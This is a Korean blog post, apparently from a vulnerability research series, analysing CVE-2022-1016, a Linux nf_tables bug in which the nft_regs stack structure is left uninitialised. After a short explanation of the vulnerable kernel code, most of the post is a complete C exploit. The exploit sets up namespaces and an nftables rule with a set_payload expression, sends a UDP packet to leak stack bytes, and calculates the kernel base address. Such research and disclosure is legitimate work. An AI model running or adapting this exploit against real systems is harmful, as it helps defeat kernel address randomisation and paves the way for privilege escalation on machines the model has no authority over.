[1-day Research] CVE-2022-1016 : nf_tables의 메모리 비 초기화로 인한 스택 값 유출

The Orange·2023년 10월 22일
0

1-day-research

목록 보기
2/3
1. Overview
2. Vulnerability
3. Exploit
4. Finish

[1-day Research] CVE-2022-1015 : nf_tables의 OOB 취약점을 이용한 리눅스 권한 상승 공격
해당 글에서 이어지는 내용입니다.

1. Overview

CVE-2022-1015를 분석해보았다면, nft_regs 변수가 초기화되지 않고 있다는 사실을 알 수 있습니다. 해당 취약점이 바로 CVE-2022-1016이며, 이를 통해 공격자는 Stack 메모리를 유출할 수 있습니다.

2. Vulnerability

https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L158

nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
	const struct nft_chain *chain = priv, *basechain = chain;
	const struct net *net = nft_net(pkt);
	struct nft_rule *const *rules;
	const struct nft_rule *rule;
	const struct nft_expr *expr, *last;
	struct nft_regs regs;
	unsigned int stackptr = 0;
	struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
	bool genbit = READ_ONCE(net->nft.gencursor);
	struct nft_traceinfo info;
    
	...
    
}

다음은 nft_do_chain 함수의 지역변수 선언 코드입니다. CVE-2022-1015를 분석하면서 nf_tables가 어떻게 동작하는 알고 있다면 해당 코드에서 쉽게 취약점을 찾을 수 있습니다.

struct nft_regs regs; 

nf_tables 기능에 접근 가능한 사용자는 set_payload와 같은 표현식(expr)을 통해서 스택에 할당된 nft_regs 구조체 멤버 변수의 값을 네트워크 패킷에 복사하여 읽을 수 있습니다. 따라서 nft_regs 구조체는 할당될 때 반드시 0으로 초기화 되어야합니다. 그렇지 않을 경우 Stack의 더미 값이 유출되게 됩니다.

3. Exploit

익스플로잇은 매우 간단합니다. nft_regs에 아무 값도 쓰지 않은 상태에서 set_payload 표현식(expr)으로 nft_regs의 값을 네트워크 패킷에 복사하면 스택의 더미 값을 얻을 수 있습니다.

nft_payload_set_eval->skb_store_bits->memcpy(skb_copy_to_linear_data_offset)에 Breakpoint를 걸고 확인하면 위와 같습니다. 복사될 Stack 메모리, 즉 할당된 nft_regs 구조체의 메모리 주소를 읽어보면 멤버 변수들이 초기화되어있지 않고 여러 더미 값들이 남아있다는 것을 알 수 있습니다. 이를 이용해 사용자는 커널 영역의 주소를 유출하는 것이 가능합니다.

4. Finish

익스플로잇 코드는 다음과 같습니다. CVE-2022-1015에서 사용된 여러 유틸 함수들을 이용하면 매우 간단히 CVE-2022-1016 취약점을 통해 커널 주소를 유출하는 공격코드를 완성할 수 있습니다.

#define _GNU_SOURCE

#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <stdarg.h>
#include <linux/sched.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <netinet/in.h>
#include <stddef.h>    /* for offsetof */
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>

#include <pthread.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

char pkt_message[512] = {0, };
char pkt_buffer[512] = {0, };
int pkt_port = 0;

void hexdump(const void* data, size_t size) {
    unsigned char *p = (unsigned char*)data;
    for (size_t i = 0; i < size; i++) {
        printf("%02X ", p[i]);
        if ((i + 1) % 16 == 0 || i == size - 1) {
            printf("\n");
        }
    }
}

void *sender_thread(void *arg) {
    int client_socket;
    struct sockaddr_in server_addr;
    
    // Create a UDP socket
    if ((client_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(pkt_port);
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    
    // Send the UDP packet
    sendto(client_socket, pkt_message, 512, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
    
    close(client_socket);
    return NULL;
}

void *receiver_thread(void *arg) {
    int server_socket;
    struct sockaddr_in server_addr, client_addr;
    
    // Create a UDP socket
    if ((server_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(pkt_port);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    
    // Bind the socket to the server address
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
        perror("bind");
        exit(1);
    }
    
    socklen_t client_addr_len = sizeof(client_addr);
    
    // Receive the UDP packet
    recvfrom(server_socket, pkt_buffer, 512, 0, (struct sockaddr *)&client_addr, &client_addr_len);
    
    close(server_socket);
    return NULL;
}

void write_to_file(const char *which, const char *format, ...) {
  FILE * fu = fopen(which, "w");
  va_list args;
  va_start(args, format);
  if (vfprintf(fu, format, args) < 0) {
    perror("cannot write");
    exit(1);
  }
  fclose(fu);
}

void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

void init_namespace(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();    

  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    exit(EXIT_FAILURE);    
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    exit(EXIT_FAILURE);    
  }

  write_to_file("/proc/self/uid_map", "0 %d 1", uid);
  write_to_file("/proc/self/setgroups", "deny");
  write_to_file("/proc/self/gid_map", "0 %d 1", gid);

}

void begin_batch(struct mnl_nlmsg_batch *b, int *seq)
{
    nftnl_batch_begin(mnl_nlmsg_batch_current(b), (*seq)++);
    mnl_nlmsg_batch_next(b);
}

void end_batch(struct mnl_nlmsg_batch *b, int *seq)
{
    nftnl_batch_end(mnl_nlmsg_batch_current(b), (*seq)++);
    mnl_nlmsg_batch_next(b);
}

void add_table(struct mnl_nlmsg_batch *b, int *seq, const char* table_name)
{
    struct nftnl_table *t;
    t = nftnl_table_alloc();

    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                                NFT_MSG_NEWTABLE, NFPROTO_IPV4,
                                NLM_F_CREATE | NLM_F_ACK, (*seq)++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    nftnl_table_free(t);

    mnl_nlmsg_batch_next(b);
}

void add_chain(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
    struct nftnl_chain *t;
    t = nftnl_chain_alloc();

    nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);

    nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN);
    nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                                NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
                                NLM_F_CREATE | NLM_F_ACK, (*seq)++);
    nftnl_chain_nlmsg_build_payload(nlh, t);
    nftnl_chain_free(t);

    mnl_nlmsg_batch_next(b);
}

static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
            uint32_t offset, uint32_t len)
{
    struct nftnl_expr *e;

    e = nftnl_expr_alloc("payload");
    if (e == NULL) {
        perror("expr payload oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);

    nftnl_rule_add_expr(r, e);
}

static void add_set_payload(struct nftnl_rule *r, uint32_t base, uint32_t sreg,
            uint32_t offset, uint32_t len)
{
    struct nftnl_expr *e;

    e = nftnl_expr_alloc("payload");
    if (e == NULL) {
        perror("expr payload oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);

    nftnl_rule_add_expr(r, e);
}

static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
            const void *data, uint32_t data_len)
{
    struct nftnl_expr *e;

    e = nftnl_expr_alloc("cmp");
    if (e == NULL) {
        perror("expr cmp oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
    nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);

    nftnl_rule_add_expr(r, e);
}

void add_rule_leak(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
    struct nftnl_rule *r = NULL;
    uint8_t proto;
    uint16_t dport;
    uint64_t handle_num;

    r = nftnl_rule_alloc();
    if (r == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);

    proto = IPPROTO_UDP;
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
            offsetof(struct iphdr, protocol), sizeof(uint8_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

    dport = htons(1234);
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
            offsetof(struct tcphdr, dest), sizeof(uint16_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

    add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8,0x20,0x30);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                    NFT_MSG_NEWRULE,
                    nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
                    NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
                    (*seq)++);
    nftnl_rule_nlmsg_build_payload(nlh, r);
    nftnl_rule_free(r);

    mnl_nlmsg_batch_next(b);
}

int main(int argc, char *argv[])
{
    printf("[+] exploit process starting\n");

    init_cpu();
    init_namespace();

    struct mnl_socket *nl;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t portid, seq;
    struct nftnl_table *t;
    struct mnl_nlmsg_batch *batch;
    int ret, n;
    int check = 0;

    seq = 100;
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    // HERE
    begin_batch(batch, &seq);

    add_table(batch, &seq, "exploit_table");
    check++;

    add_chain(batch, &seq, "exploit_table", "leak_chain");
    check++;

    add_rule_leak(batch, &seq, "exploit_table", "leak_chain");
    check++;

    //add_chain(batch, &seq, "exploit_table", "exploit_chain");
    //check++;

    //add_rule_exploit(batch, &seq, "exploit_table", "exploit_chain");
    //check++;

    end_batch(batch, &seq);
    //

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL)
    {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
    {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }
    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0)
    {
        perror("mnl_socket_send");
        exit(EXIT_FAILURE);
    }

    mnl_nlmsg_batch_stop(batch);

    n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
    while (n > 0)
    {
        const struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        int len = n;
        
        while (mnl_nlmsg_ok(nlh, len))
        {
            struct nlmsgerr *res;
            res = mnl_nlmsg_get_payload(nlh);
            printf("[+] netlink result %d: %d\n", nlh->nlmsg_seq, res->error);
            nlh = mnl_nlmsg_next(nlh, &len);
            check--;
        }

        if(check == 0) break;
        n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
    }

    mnl_socket_close(nl);
    printf("[+] create nft_tables to leak\n");

    system("ip addr add 127.0.0.1/8 dev lo");
    system("ip link set lo up");

    pthread_t leak_sender, leak_receiver;
    printf("[+] leak_sender -> leak_receiver (udp)\n");
    pkt_port = 1234;
    memset(pkt_message, 'a', 512);
    pthread_create(&leak_sender, NULL, sender_thread, NULL);
    pthread_create(&leak_receiver, NULL, receiver_thread, NULL);

    pthread_join(leak_sender, NULL);
    pthread_join(leak_receiver, NULL);

    hexdump(pkt_buffer, 80);
    unsigned long leak = 0;

    memcpy((char*)&leak,pkt_buffer+0x38,8);
    unsigned long kernel_base = leak - 0xa7133;
    printf("[+] kernel_base = 0x%lx\n", kernel_base);

    return EXIT_SUCCESS;
}

0개의 댓글